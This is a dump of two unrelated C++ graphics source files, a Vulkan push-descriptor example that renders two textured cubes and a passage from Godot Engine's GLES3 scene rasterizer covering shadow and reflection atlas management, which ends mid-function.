text
stringlengths
1
1.05M
/* * Vulkan Example - Push descriptors * * Note: Requires a device that supports the VK_KHR_push_descriptor extension * * Push descriptors apply the push constants concept to descriptor sets. So instead of creating * per-model descriptor sets (along with a pool for each descriptor type) for rendering multiple objects, * this example uses push descriptors to pass descriptor sets for per-model textures and matrices * at command buffer creation time. * * Copyright (C) 2018 by Sascha Willems - www.saschawillems.de * * This code is licensed under the MIT license (MIT) (http://opensource.org/licenses/MIT) */ #include <vulkanExampleBase.h> class VulkanExample : public vkx::ExampleBase { public: bool animate = true; vk::DispatchLoaderDynamic dispatcher; vk::PhysicalDevicePushDescriptorPropertiesKHR pushDescriptorProps{}; vks::model::VertexLayout vertexLayout = vks::model::VertexLayout({ vks::model::VERTEX_COMPONENT_POSITION, vks::model::VERTEX_COMPONENT_NORMAL, vks::model::VERTEX_COMPONENT_UV, vks::model::VERTEX_COMPONENT_COLOR, }); struct Cube { vks::texture::Texture2D texture; vks::Buffer uniformBuffer; glm::vec3 rotation; glm::mat4 modelMat; }; std::array<Cube, 2> cubes; struct Models { vks::model::Model cube; } models; struct UniformBuffers { vks::Buffer scene; } uniformBuffers; struct UboScene { glm::mat4 projection; glm::mat4 view; } uboScene; vk::Pipeline pipeline; vk::PipelineLayout pipelineLayout; vk::DescriptorSetLayout descriptorSetLayout; VulkanExample() { title = "Push descriptors"; settings.overlay = true; camera.type = Camera::CameraType::lookat; camera.setPerspective(60.0f, size, 0.1f, 512.0f); camera.setRotation(glm::vec3(0.0f, 0.0f, 0.0f)); camera.setTranslation(glm::vec3(0.0f, 0.0f, -5.0f)); // Disable validation layers. // Depending on the driver the vkGetPhysicalDeviceProperties2KHR may be present, but not vkGetPhysicalDeviceProperties2 // However, if the validation layers are turned on, the dispatcher finds the vkGetPhysicalDeviceProperties2 function anyway // (presumably provided by the validation layers regardless of whether the underlying implementation actually has the // function) and promptly crashes // Bug filed against the validation layers here: https://github.com/KhronosGroup/Vulkan-LoaderAndValidationLayers/issues/2562 context.setValidationEnabled(false); // Enable extension required for push descriptors context.requireExtensions({ VK_KHR_GET_PHYSICAL_DEVICE_PROPERTIES_2_EXTENSION_NAME }); context.requireDeviceExtensions({ VK_KHR_PUSH_DESCRIPTOR_EXTENSION_NAME }); } ~VulkanExample() { device.destroy(pipeline); device.destroy(pipelineLayout); device.destroy(descriptorSetLayout); models.cube.destroy(); for (auto cube : cubes) { cube.uniformBuffer.destroy(); cube.texture.destroy(); } uniformBuffers.scene.destroy(); } void getEnabledFeatures() override { if (context.deviceFeatures.samplerAnisotropy) { context.enabledFeatures.samplerAnisotropy = VK_TRUE; }; } void updateDrawCommandBuffer(const vk::CommandBuffer& drawCmdBuffer) override { drawCmdBuffer.setViewport(0, viewport()); drawCmdBuffer.setScissor(0, scissor()); drawCmdBuffer.bindPipeline(vk::PipelineBindPoint::eGraphics, pipeline); drawCmdBuffer.bindVertexBuffers(0, models.cube.vertices.buffer, { 0 }); drawCmdBuffer.bindIndexBuffer(models.cube.indices.buffer, 0, vk::IndexType::eUint32); // Render two cubes using different descriptor sets using push descriptors for (const auto& cube : cubes) { // Instead of preparing the descriptor sets up-front, using push descriptors we can set (push) them inside of a command buffer // This allows a more dynamic approach without the need to create descriptor sets for each model // Note: dstSet for each descriptor set write is left at zero as this is ignored when ushing push descriptors std::vector<vk::WriteDescriptorSet> writeDescriptorSets; writeDescriptorSets.reserve(3); // Scene matrices writeDescriptorSets.push_back({ nullptr, 0, 0, 1, vk::DescriptorType::eUniformBuffer, nullptr, &uniformBuffers.scene.descriptor }); // Model matrices writeDescriptorSets.push_back({ nullptr, 1, 0, 1, vk::DescriptorType::eUniformBuffer, nullptr, &cube.uniformBuffer.descriptor }); // Texture writeDescriptorSets.push_back({ nullptr, 2, 0, 1, vk::DescriptorType::eCombinedImageSampler, &cube.texture.descriptor }); drawCmdBuffer.pushDescriptorSetKHR(vk::PipelineBindPoint::eGraphics, pipelineLayout, 0, writeDescriptorSets, dispatcher); drawCmdBuffer.drawIndexed(models.cube.indexCount, 1, 0, 0, 0); } } void loadAssets() override { models.cube.loadFromFile(context, getAssetPath() + "models/cube.dae", vertexLayout); cubes[0].texture.loadFromFile(context, getAssetPath() + "textures/crate01_color_height_rgba.ktx"); cubes[1].texture.loadFromFile(context, getAssetPath() + "textures/crate02_color_height_rgba.ktx"); } void setupDescriptorSetLayout() { std::vector<vk::DescriptorSetLayoutBinding> setLayoutBindings { vk::DescriptorSetLayoutBinding{ 0, vk::DescriptorType::eUniformBuffer, 1, vk::ShaderStageFlagBits::eVertex }, vk::DescriptorSetLayoutBinding{ 1, vk::DescriptorType::eUniformBuffer, 1, vk::ShaderStageFlagBits::eVertex }, vk::DescriptorSetLayoutBinding{ 2, vk::DescriptorType::eCombinedImageSampler, 1, vk::ShaderStageFlagBits::eFragment }, }; // Setting this flag tells the descriptor set layouts that no actual descriptor sets are allocated but instead pushed at command buffer creation time descriptorSetLayout = device.createDescriptorSetLayout({ vk::DescriptorSetLayoutCreateFlagBits::ePushDescriptorKHR, static_cast<uint32_t>(setLayoutBindings.size()), setLayoutBindings.data() }); pipelineLayout = device.createPipelineLayout({ {}, 1, &descriptorSetLayout }); } void preparePipelines() { // The pipeline layout is based on the descriptor set layout we created above pipelineLayout = device.createPipelineLayout({ {}, 1, &descriptorSetLayout }); auto builder = vks::pipelines::GraphicsPipelineBuilder(device, pipelineLayout, renderPass); builder.rasterizationState.frontFace = vk::FrontFace::eClockwise; // Vertex bindings and attributes builder.vertexInputState.appendVertexLayout(vertexLayout); builder.loadShader(getAssetPath() + "shaders/pushdescriptors/cube.vert.spv", vk::ShaderStageFlagBits::eVertex); builder.loadShader(getAssetPath() + "shaders/pushdescriptors/cube.frag.spv", vk::ShaderStageFlagBits::eFragment); pipeline = builder.create(context.pipelineCache); } void prepareUniformBuffers() { // Vertex shader scene uniform buffer block uniformBuffers.scene = context.createUniformBuffer<UboScene>({}); // Vertex shader cube model uniform buffer blocks for (auto& cube : cubes) { cube.uniformBuffer = context.createUniformBuffer<glm::mat4>({}); } updateUniformBuffers(); updateCubeUniformBuffers(); } void updateUniformBuffers() { uboScene.projection = camera.matrices.perspective; uboScene.view = camera.matrices.view; memcpy(uniformBuffers.scene.mapped, &uboScene, sizeof(UboScene)); } void updateCubeUniformBuffers() { cubes[0].modelMat = glm::translate(glm::mat4(1.0f), glm::vec3(-2.0f, 0.0f, 0.0f)); cubes[1].modelMat = glm::translate(glm::mat4(1.0f), glm::vec3( 1.5f, 0.5f, 0.0f)); for (auto& cube : cubes) { cube.modelMat = glm::rotate(cube.modelMat, glm::radians(cube.rotation.x), glm::vec3(1.0f, 0.0f, 0.0f)); cube.modelMat = glm::rotate(cube.modelMat, glm::radians(cube.rotation.y), glm::vec3(0.0f, 1.0f, 0.0f)); cube.modelMat = glm::rotate(cube.modelMat, glm::radians(cube.rotation.z), glm::vec3(0.0f, 0.0f, 1.0f)); memcpy(cube.uniformBuffer.mapped, &cube.modelMat, sizeof(glm::mat4)); } if (animate) { cubes[0].rotation.x += 2.5f * frameTimer; if (cubes[0].rotation.x > 360.0f) cubes[0].rotation.x -= 360.0f; cubes[1].rotation.y += 2.0f * frameTimer; if (cubes[1].rotation.x > 360.0f) cubes[1].rotation.x -= 360.0f; } } void prepare() override { ExampleBase::prepare(); /* Extension specific functions */ // The push descriptor update function is part of an extension so it has to be manually loaded // The DispatchLoaderDynamic class exposes all known extensions (to the current SDK version) // and handles dynamic loading. It must be initialized with an instance in order to fetch // instance-level extensions and with an instance and device to expose device level extensions. dispatcher.init(context.instance, context.device); // Get device push descriptor properties (to display them) if (context.deviceProperties.apiVersion >= VK_MAKE_VERSION(1, 1, 0)) { pushDescriptorProps = context.physicalDevice.getProperties2<vk::PhysicalDeviceProperties2, vk::PhysicalDevicePushDescriptorPropertiesKHR>(dispatcher).get<vk::PhysicalDevicePushDescriptorPropertiesKHR>(); } else { pushDescriptorProps = context.physicalDevice.getProperties2KHR<vk::PhysicalDeviceProperties2KHR, vk::PhysicalDevicePushDescriptorPropertiesKHR>(dispatcher).get<vk::PhysicalDevicePushDescriptorPropertiesKHR>(); } /* End of extension specific functions */ prepareUniformBuffers(); setupDescriptorSetLayout(); preparePipelines(); buildCommandBuffers(); prepared = true; } void update(float deltaTime) override { ExampleBase::update(deltaTime); if (animate) { cubes[0].rotation.x += 2.5f * frameTimer; if (cubes[0].rotation.x > 360.0f) cubes[0].rotation.x -= 360.0f; cubes[1].rotation.y += 2.0f * frameTimer; if (cubes[1].rotation.x > 360.0f) cubes[1].rotation.x -= 360.0f; updateCubeUniformBuffers(); } } void viewChanged() override { updateUniformBuffers(); } void OnUpdateUIOverlay() override { if (ui.header("Settings")) { ui.checkBox("Animate", &animate); } if (ui.header("Device properties")) { ui.text("maxPushDescriptors: %d", pushDescriptorProps.maxPushDescriptors); } } }; VULKAN_EXAMPLE_MAIN()
/*************************************************************************/ /* rasterizer_scene_gles3.cpp */ /*************************************************************************/ /* This file is part of: */ /* GODOT ENGINE */ /* https://godotengine.org */ /*************************************************************************/ /* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur. */ /* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md) */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #include "rasterizer_scene_gles3.h" #include "core/math/math_funcs.h" #include "core/os/os.h" #include "core/project_settings.h" #include "rasterizer_canvas_gles3.h" #include "servers/camera/camera_feed.h" #include "servers/visual/visual_server_raster.h" #ifndef GLES_OVER_GL #define glClearDepth glClearDepthf #endif static const GLenum _cube_side_enum[6] = { GL_TEXTURE_CUBE_MAP_NEGATIVE_X, GL_TEXTURE_CUBE_MAP_POSITIVE_X, GL_TEXTURE_CUBE_MAP_NEGATIVE_Y, GL_TEXTURE_CUBE_MAP_POSITIVE_Y, GL_TEXTURE_CUBE_MAP_NEGATIVE_Z, GL_TEXTURE_CUBE_MAP_POSITIVE_Z, }; static _FORCE_INLINE_ void store_transform(const Transform &p_mtx, float *p_array) { p_array[0] = p_mtx.basis.elements[0][0]; p_array[1] = p_mtx.basis.elements[1][0]; p_array[2] = p_mtx.basis.elements[2][0]; p_array[3] = 0; p_array[4] = p_mtx.basis.elements[0][1]; p_array[5] = p_mtx.basis.elements[1][1]; p_array[6] = p_mtx.basis.elements[2][1]; p_array[7] = 0; p_array[8] = p_mtx.basis.elements[0][2]; p_array[9] = p_mtx.basis.elements[1][2]; p_array[10] = p_mtx.basis.elements[2][2]; p_array[11] = 0; p_array[12] = p_mtx.origin.x; p_array[13] = p_mtx.origin.y; p_array[14] = p_mtx.origin.z; p_array[15] = 1; } static _FORCE_INLINE_ void store_camera(const CameraMatrix &p_mtx, float *p_array) { for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { p_array[i * 4 + j] = p_mtx.matrix[i][j]; } } } /* SHADOW ATLAS API */ RID RasterizerSceneGLES3::shadow_atlas_create() { ShadowAtlas *shadow_atlas = memnew(ShadowAtlas); shadow_atlas->fbo = 0; shadow_atlas->depth = 0; shadow_atlas->size = 0; shadow_atlas->smallest_subdiv = 0; for (int i = 0; i < 4; i++) { shadow_atlas->size_order[i] = i; } return shadow_atlas_owner.make_rid(shadow_atlas); } void RasterizerSceneGLES3::shadow_atlas_set_size(RID p_atlas, int p_size) { ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_atlas); ERR_FAIL_COND(!shadow_atlas); ERR_FAIL_COND(p_size < 0); p_size = next_power_of_2(p_size); if (p_size == shadow_atlas->size) return; // erasing atlas if (shadow_atlas->fbo) { glDeleteTextures(1, &shadow_atlas->depth); glDeleteFramebuffers(1, &shadow_atlas->fbo); shadow_atlas->depth = 0; shadow_atlas->fbo = 0; } for (int i = 0; i < 4; i++) { //clear subdivisions shadow_atlas->quadrants[i].shadows.resize(0); shadow_atlas->quadrants[i].shadows.resize(1 << shadow_atlas->quadrants[i].subdivision); } //erase shadow atlas reference from lights for (Map<RID, uint32_t>::Element *E = shadow_atlas->shadow_owners.front(); E; E = E->next()) { LightInstance *li = light_instance_owner.getornull(E->key()); ERR_CONTINUE(!li); li->shadow_atlases.erase(p_atlas); } //clear owners shadow_atlas->shadow_owners.clear(); shadow_atlas->size = p_size; if (shadow_atlas->size) { glGenFramebuffers(1, &shadow_atlas->fbo); glBindFramebuffer(GL_FRAMEBUFFER, shadow_atlas->fbo); // Create a texture for storing the depth glActiveTexture(GL_TEXTURE0); glGenTextures(1, &shadow_atlas->depth); glBindTexture(GL_TEXTURE_2D, shadow_atlas->depth); glTexImage2D(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT24, shadow_atlas->size, shadow_atlas->size, 0, GL_DEPTH_COMPONENT, GL_UNSIGNED_INT, NULL); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, shadow_atlas->depth, 0); glViewport(0, 0, shadow_atlas->size, shadow_atlas->size); glClearDepth(0.0f); glClear(GL_DEPTH_BUFFER_BIT); glBindFramebuffer(GL_FRAMEBUFFER, 0); } } void RasterizerSceneGLES3::shadow_atlas_set_quadrant_subdivision(RID p_atlas, int p_quadrant, int p_subdivision) { ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_atlas); ERR_FAIL_COND(!shadow_atlas); ERR_FAIL_INDEX(p_quadrant, 4); ERR_FAIL_INDEX(p_subdivision, 16384); uint32_t subdiv = next_power_of_2(p_subdivision); if (subdiv & 0xaaaaaaaa) { //sqrt(subdiv) must be integer subdiv <<= 1; } subdiv = int(Math::sqrt((float)subdiv)); //obtain the number that will be x*x if (shadow_atlas->quadrants[p_quadrant].subdivision == subdiv) return; //erase all data from quadrant for (int i = 0; i < shadow_atlas->quadrants[p_quadrant].shadows.size(); i++) { if (shadow_atlas->quadrants[p_quadrant].shadows[i].owner.is_valid()) { shadow_atlas->shadow_owners.erase(shadow_atlas->quadrants[p_quadrant].shadows[i].owner); LightInstance *li = light_instance_owner.getornull(shadow_atlas->quadrants[p_quadrant].shadows[i].owner); ERR_CONTINUE(!li); li->shadow_atlases.erase(p_atlas); } } shadow_atlas->quadrants[p_quadrant].shadows.resize(0); shadow_atlas->quadrants[p_quadrant].shadows.resize(subdiv * subdiv); shadow_atlas->quadrants[p_quadrant].subdivision = subdiv; //cache the smallest subdiv (for faster allocation in light update) shadow_atlas->smallest_subdiv = 1 << 30; for (int i = 0; i < 4; i++) { if (shadow_atlas->quadrants[i].subdivision) { shadow_atlas->smallest_subdiv = MIN(shadow_atlas->smallest_subdiv, shadow_atlas->quadrants[i].subdivision); } } if (shadow_atlas->smallest_subdiv == 1 << 30) { shadow_atlas->smallest_subdiv = 0; } //resort the size orders, simple bublesort for 4 elements.. int swaps = 0; do { swaps = 0; for (int i = 0; i < 3; i++) { if (shadow_atlas->quadrants[shadow_atlas->size_order[i]].subdivision < shadow_atlas->quadrants[shadow_atlas->size_order[i + 1]].subdivision) { SWAP(shadow_atlas->size_order[i], shadow_atlas->size_order[i + 1]); swaps++; } } } while (swaps > 0); } bool RasterizerSceneGLES3::_shadow_atlas_find_shadow(ShadowAtlas *shadow_atlas, int *p_in_quadrants, int p_quadrant_count, int p_current_subdiv, uint64_t p_tick, int &r_quadrant, int &r_shadow) { for (int i = p_quadrant_count - 1; i >= 0; i--) { int qidx = p_in_quadrants[i]; if (shadow_atlas->quadrants[qidx].subdivision == (uint32_t)p_current_subdiv) { return false; } //look for an empty space int sc = shadow_atlas->quadrants[qidx].shadows.size(); ShadowAtlas::Quadrant::Shadow *sarr = shadow_atlas->quadrants[qidx].shadows.ptrw(); int found_free_idx = -1; //found a free one int found_used_idx = -1; //found existing one, must steal it uint64_t min_pass = 0; // pass of the existing one, try to use the least recently used one (LRU fashion) for (int j = 0; j < sc; j++) { if (!sarr[j].owner.is_valid()) { found_free_idx = j; break; } LightInstance *sli = light_instance_owner.getornull(sarr[j].owner); ERR_CONTINUE(!sli); if (sli->last_scene_pass != scene_pass) { //was just allocated, don't kill it so soon, wait a bit.. if (p_tick - sarr[j].alloc_tick < shadow_atlas_realloc_tolerance_msec) continue; if (found_used_idx == -1 || sli->last_scene_pass < min_pass) { found_used_idx = j; min_pass = sli->last_scene_pass; } } } if (found_free_idx == -1 && found_used_idx == -1) continue; //nothing found if (found_free_idx == -1 && found_used_idx != -1) { found_free_idx = found_used_idx; } r_quadrant = qidx; r_shadow = found_free_idx; return true; } return false; } bool RasterizerSceneGLES3::shadow_atlas_update_light(RID p_atlas, RID p_light_intance, float p_coverage, uint64_t p_light_version) { ShadowAtlas *shadow_atlas = shadow_atlas_owner.getornull(p_atlas); ERR_FAIL_COND_V(!shadow_atlas, false); LightInstance *li = light_instance_owner.getornull(p_light_intance); ERR_FAIL_COND_V(!li, false); if (shadow_atlas->size == 0 || shadow_atlas->smallest_subdiv == 0) { return false; } uint32_t quad_size = shadow_atlas->size >> 1; int desired_fit = MIN(quad_size / shadow_atlas->smallest_subdiv, next_power_of_2(quad_size * p_coverage)); int valid_quadrants[4]; int valid_quadrant_count = 0; int best_size = -1; //best size found int best_subdiv = -1; //subdiv for the best size //find the quadrants this fits into, and the best possible size it can fit into for (int i = 0; i < 4; i++) { int q = shadow_atlas->size_order[i]; int sd = shadow_atlas->quadrants[q].subdivision; if (sd == 0) continue; //unused int max_fit = quad_size / sd; if (best_size != -1 && max_fit > best_size) break; //too large valid_quadrants[valid_quadrant_count++] = q; best_subdiv = sd; if (max_fit >= desired_fit) { best_size = max_fit; } } ERR_FAIL_COND_V(valid_quadrant_count == 0, false); uint64_t tick = OS::get_singleton()->get_ticks_msec(); //see if it already exists if (shadow_atlas->shadow_owners.has(p_light_intance)) { //it does! uint32_t key = shadow_atlas->shadow_owners[p_light_intance]; uint32_t q = (key >> ShadowAtlas::QUADRANT_SHIFT) & 0x3; uint32_t s = key & ShadowAtlas::SHADOW_INDEX_MASK; bool should_realloc = shadow_atlas->quadrants[q].subdivision != (uint32_t)best_subdiv && (shadow_atlas->quadrants[q].shadows[s].alloc_tick - tick > shadow_atlas_realloc_tolerance_msec); bool should_redraw = shadow_atlas->quadrants[q].shadows[s].version != p_light_version; if (!should_realloc) { shadow_atlas->quadrants[q].shadows.write[s].version = p_light_version; //already existing, see if it should redraw or it's just OK return should_redraw; } int new_quadrant, new_shadow; //find a better place if (_shadow_atlas_find_shadow(shadow_atlas, valid_quadrants, valid_quadrant_count, shadow_atlas->quadrants[q].subdivision, tick, new_quadrant, new_shadow)) { //found a better place! ShadowAtlas::Quadrant::Shadow *sh = &shadow_atlas->quadrants[new_quadrant].shadows.write[new_shadow]; if (sh->owner.is_valid()) { //is taken, but is invalid, erasing it shadow_atlas->shadow_owners.erase(sh->owner); LightInstance *sli = light_instance_owner.get(sh->owner); sli->shadow_atlases.erase(p_atlas); } //erase previous shadow_atlas->quadrants[q].shadows.write[s].version = 0; shadow_atlas->quadrants[q].shadows.write[s].owner = RID(); sh->owner = p_light_intance; sh->alloc_tick = tick; sh->version = p_light_version; li->shadow_atlases.insert(p_atlas); //make new key key = new_quadrant << ShadowAtlas::QUADRANT_SHIFT; key |= new_shadow; //update it in map shadow_atlas->shadow_owners[p_light_intance] = key; //make it dirty, as it should redraw anyway return true; } //no better place for this shadow found, keep current //already existing, see if it should redraw or it's just OK shadow_atlas->quadrants[q].shadows.write[s].version = p_light_version; return should_redraw; } int new_quadrant, new_shadow; //find a better place if (_shadow_atlas_find_shadow(shadow_atlas, valid_quadrants, valid_quadrant_count, -1, tick, new_quadrant, new_shadow)) { //found a better place! ShadowAtlas::Quadrant::Shadow *sh = &shadow_atlas->quadrants[new_quadrant].shadows.write[new_shadow]; if (sh->owner.is_valid()) { //is taken, but is invalid, erasing it shadow_atlas->shadow_owners.erase(sh->owner); LightInstance *sli = light_instance_owner.get(sh->owner); sli->shadow_atlases.erase(p_atlas); } sh->owner = p_light_intance; sh->alloc_tick = tick; sh->version = p_light_version; li->shadow_atlases.insert(p_atlas); //make new key uint32_t key = new_quadrant << ShadowAtlas::QUADRANT_SHIFT; key |= new_shadow; //update it in map shadow_atlas->shadow_owners[p_light_intance] = key; //make it dirty, as it should redraw anyway return true; } //no place to allocate this light, apologies return false; } void RasterizerSceneGLES3::set_directional_shadow_count(int p_count) { directional_shadow.light_count = p_count; directional_shadow.current_light = 0; } int RasterizerSceneGLES3::get_directional_light_shadow_size(RID p_light_intance) { ERR_FAIL_COND_V(directional_shadow.light_count == 0, 0); int shadow_size; if (directional_shadow.light_count == 1) { shadow_size = directional_shadow.size; } else { shadow_size = directional_shadow.size / 2; //more than 4 not supported anyway } LightInstance *light_instance = light_instance_owner.getornull(p_light_intance); ERR_FAIL_COND_V(!light_instance, 0); switch (light_instance->light_ptr->directional_shadow_mode) { case VS::LIGHT_DIRECTIONAL_SHADOW_ORTHOGONAL: break; //none case VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_2_SPLITS: case VS::LIGHT_DIRECTIONAL_SHADOW_PARALLEL_4_SPLITS: shadow_size /= 2; break; } return shadow_size; } ////////////////////////////////////////////////////// RID RasterizerSceneGLES3::reflection_atlas_create() { ReflectionAtlas *reflection_atlas = memnew(ReflectionAtlas); reflection_atlas->subdiv = 0; reflection_atlas->color = 0; reflection_atlas->size = 0; for (int i = 0; i < 6; i++) { reflection_atlas->fbo[i] = 0; } return reflection_atlas_owner.make_rid(reflection_atlas); } void RasterizerSceneGLES3::reflection_atlas_set_size(RID p_ref_atlas, int p_size) { ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(p_ref_atlas); ERR_FAIL_COND(!reflection_atlas); int size = next_power_of_2(p_size); if (size == reflection_atlas->size) return; if (reflection_atlas->size) { for (int i = 0; i < 6; i++) { glDeleteFramebuffers(1, &reflection_atlas->fbo[i]); reflection_atlas->fbo[i] = 0; } glDeleteTextures(1, &reflection_atlas->color); reflection_atlas->color = 0; } reflection_atlas->size = size; for (int i = 0; i < reflection_atlas->reflections.size(); i++) { //erase probes reference to this if (reflection_atlas->reflections[i].owner.is_valid()) { ReflectionProbeInstance *reflection_probe_instance = reflection_probe_instance_owner.getornull(reflection_atlas->reflections[i].owner); reflection_atlas->reflections.write[i].owner = RID(); ERR_CONTINUE(!reflection_probe_instance); reflection_probe_instance->reflection_atlas_index = -1; reflection_probe_instance->atlas = RID(); reflection_probe_instance->render_step = -1; } } if (reflection_atlas->size) { bool use_float = true; GLenum internal_format = use_float ? GL_RGBA16F : GL_RGB10_A2; GLenum format = GL_RGBA; GLenum type = use_float ? GL_HALF_FLOAT : GL_UNSIGNED_INT_2_10_10_10_REV; // Create a texture for storing the color glActiveTexture(GL_TEXTURE0); glGenTextures(1, &reflection_atlas->color); glBindTexture(GL_TEXTURE_2D, reflection_atlas->color); int mmsize = reflection_atlas->size; glTexStorage2DCustom(GL_TEXTURE_2D, 6, internal_format, mmsize, mmsize, format, type); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAX_LEVEL, 5); for (int i = 0; i < 6; i++) { glGenFramebuffers(1, &reflection_atlas->fbo[i]); glBindFramebuffer(GL_FRAMEBUFFER, reflection_atlas->fbo[i]); glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, reflection_atlas->color, i); GLenum status = glCheckFramebufferStatus(GL_FRAMEBUFFER); ERR_CONTINUE(status != GL_FRAMEBUFFER_COMPLETE); glDisable(GL_SCISSOR_TEST); glViewport(0, 0, mmsize, mmsize); glClearColor(0, 0, 0, 0); glClear(GL_COLOR_BUFFER_BIT); //it needs to be cleared, to avoid generating garbage mmsize >>= 1; } } } void RasterizerSceneGLES3::reflection_atlas_set_subdivision(RID p_ref_atlas, int p_subdiv) { ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(p_ref_atlas); ERR_FAIL_COND(!reflection_atlas); int subdiv = next_power_of_2(p_subdiv); if (subdiv & 0xaaaaaaaa) { //sqrt(subdiv) must be integer subdiv <<= 1; } subdiv = int(Math::sqrt((float)subdiv)); if (reflection_atlas->subdiv == subdiv) return; if (subdiv) { for (int i = 0; i < reflection_atlas->reflections.size(); i++) { //erase probes reference to this if (reflection_atlas->reflections[i].owner.is_valid()) { ReflectionProbeInstance *reflection_probe_instance = reflection_probe_instance_owner.getornull(reflection_atlas->reflections[i].owner); reflection_atlas->reflections.write[i].owner = RID(); ERR_CONTINUE(!reflection_probe_instance); reflection_probe_instance->reflection_atlas_index = -1; reflection_probe_instance->atlas = RID(); reflection_probe_instance->render_step = -1; } } } reflection_atlas->subdiv = subdiv; reflection_atlas->reflections.resize(subdiv * subdiv); } //////////////////////////////////////////////////// RID RasterizerSceneGLES3::reflection_probe_instance_create(RID p_probe) { RasterizerStorageGLES3::ReflectionProbe *probe = storage->reflection_probe_owner.getornull(p_probe); ERR_FAIL_COND_V(!probe, RID()); ReflectionProbeInstance *rpi = memnew(ReflectionProbeInstance); rpi->probe_ptr = probe; rpi->self = reflection_probe_instance_owner.make_rid(rpi); rpi->probe = p_probe; rpi->reflection_atlas_index = -1; rpi->render_step = -1; rpi->last_pass = 0; return rpi->self; } void RasterizerSceneGLES3::reflection_probe_instance_set_transform(RID p_instance, const Transform &p_transform) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_instance); ERR_FAIL_COND(!rpi); rpi->transform = p_transform; } void RasterizerSceneGLES3::reflection_probe_release_atlas_index(RID p_instance) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_instance); ERR_FAIL_COND(!rpi); if (rpi->reflection_atlas_index == -1) return; ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(rpi->atlas); ERR_FAIL_COND(!reflection_atlas); ERR_FAIL_INDEX(rpi->reflection_atlas_index, reflection_atlas->reflections.size()); ERR_FAIL_COND(reflection_atlas->reflections[rpi->reflection_atlas_index].owner != rpi->self); reflection_atlas->reflections.write[rpi->reflection_atlas_index].owner = RID(); rpi->reflection_atlas_index = -1; rpi->atlas = RID(); rpi->render_step = -1; } bool RasterizerSceneGLES3::reflection_probe_instance_needs_redraw(RID p_instance) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_instance); ERR_FAIL_COND_V(!rpi, false); return rpi->reflection_atlas_index == -1 || rpi->probe_ptr->update_mode == VS::REFLECTION_PROBE_UPDATE_ALWAYS; } bool RasterizerSceneGLES3::reflection_probe_instance_has_reflection(RID p_instance) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_instance); ERR_FAIL_COND_V(!rpi, false); return rpi->reflection_atlas_index != -1; } bool RasterizerSceneGLES3::reflection_probe_instance_begin_render(RID p_instance, RID p_reflection_atlas) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_instance); ERR_FAIL_COND_V(!rpi, false); rpi->render_step = 0; if (rpi->reflection_atlas_index != -1) { return true; //got one already } ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(p_reflection_atlas); ERR_FAIL_COND_V(!reflection_atlas, false); if (reflection_atlas->size == 0 || reflection_atlas->subdiv == 0) { return false; } int best_free = -1; int best_used = -1; uint64_t best_used_frame = 0; for (int i = 0; i < reflection_atlas->reflections.size(); i++) { if (reflection_atlas->reflections[i].owner == RID()) { best_free = i; break; } if (rpi->render_step < 0 && reflection_atlas->reflections[i].last_frame < storage->frame.count && (best_used == -1 || reflection_atlas->reflections[i].last_frame < best_used_frame)) { best_used = i; best_used_frame = reflection_atlas->reflections[i].last_frame; } } if (best_free == -1 && best_used == -1) { return false; // sorry, can not do. Try again next frame. } if (best_free == -1) { //find best from what is used best_free = best_used; ReflectionProbeInstance *victim_rpi = reflection_probe_instance_owner.getornull(reflection_atlas->reflections[best_free].owner); 